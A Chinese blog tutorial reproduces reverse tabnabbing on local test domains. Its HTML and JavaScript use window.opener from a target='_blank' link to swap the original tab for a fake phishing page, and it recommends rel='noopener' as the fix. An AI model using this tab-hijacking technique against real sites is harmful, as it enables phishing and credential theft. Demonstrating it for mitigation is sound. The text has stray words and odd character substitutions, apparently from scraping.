實戰重現隱藏在A標籤_blank下的危險漏洞,簡略說明noopener的做用

前幾日,在看阮一峯老師的博客文章中,發現了這麼一篇 。標題爲 《target = "_blank" 的危險性(英文)》。這篇文章同事看過以後由於不理解其中的危險之處,念念不忘,因而這裏咱們來重現一下這個漏洞。html

首先作點準備:chrome

  1. 準備兩個域名 a.com b.com 分別解析到 127.0.0.1
  2. 準備好兩個域名對應的http服務
  3. chrome瀏覽器

正式開始瀏覽器

首先在a.com下 創建1.html 寫入代碼oop

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
		
    </head>
    <body>
		<input type="text" value="信用卡+密碼錶單">
		<a href="http://b.com/b.html" target="_blank" >B站</a>
    </body>
</html>

  在代碼中,咱們創建了一個A標籤,連接到B站點,地址爲 http://b.com/b.html 打開方式爲 新標籤頁打開 也就是target="_blank"網站

將這個1.html文件複製一份到b站點的目錄中並修改代碼爲url

 1 <!DOCTYPE html>
 2 <html>
 3     <head>
 4         <meta charset="UTF-8">
 5         <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6         
 7     </head>
 8     <body>
 9         <input type="text" value="信用卡+密碼錶單+釣魚頁面">
10         <a href="http://b.com/b.html" target="_blank" >B站</a>
11     </body>
12 </html>

 

注意紅色部分,這裏是爲了區分第一個頁面加的標記。準備好之後再創建一個b.html知足A標籤的目標文件。spa

代碼爲code

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <script>
            function dosth(){
                window.opener.location = "http://b.com/1.html";
                alert("OK");
            }
        </script>
    </head>
    <body>
        <p>B站</p>
        <button type="button" onclick="dosth();">js</button>

    </body>
</html>

  

  至此代碼準備完畢,開始重現漏洞觸發過程htm

打開Chrome ,當前版本爲blog

輸入a.com/1.html 訪問

點擊A標籤 B站 此時彈出新頁面

點擊那個說大不大說小不小的JS按鈕,執行一段神不知鬼不覺的JS

 

此時回去看上一個頁面 已經神不知鬼不覺的變成了一個釣魚頁面

 

 至此,整個漏洞利用的攻擊過程結束。

 

那麼只要有A標籤的地方,而且使用了_blank的方式打開,那麼都會有這個被釣魚的風險。怎麼避免風險呢,

若是你是一個普通用戶,那麼在輸入敏感信息以前,必定必定必定要確認當前的url是否是正確的url,也就是防釣魚的那一套。

若是你是一個開發者,那麼請在你的網站上面,全部相似的A標籤上加入屬性 rel="noopener" 來防止這個漏洞被利用

可是這裏要值得一提的是,noopener並非全部瀏覽器都支持的,它的支持程度以下圖

 

無腦一點的方案就是 rel="nofollow noopener noreferrer"  這樣來阻止。

到此本文最初的目的「最簡單的實現一次這個漏洞攻擊」已經達到了,還有一些細節沒有補充,具體能夠閱讀原文

https://www.tutorialdocs.com/article/html-opener-blank.html 來了解更多詳情。

相關文章
相關標籤/搜索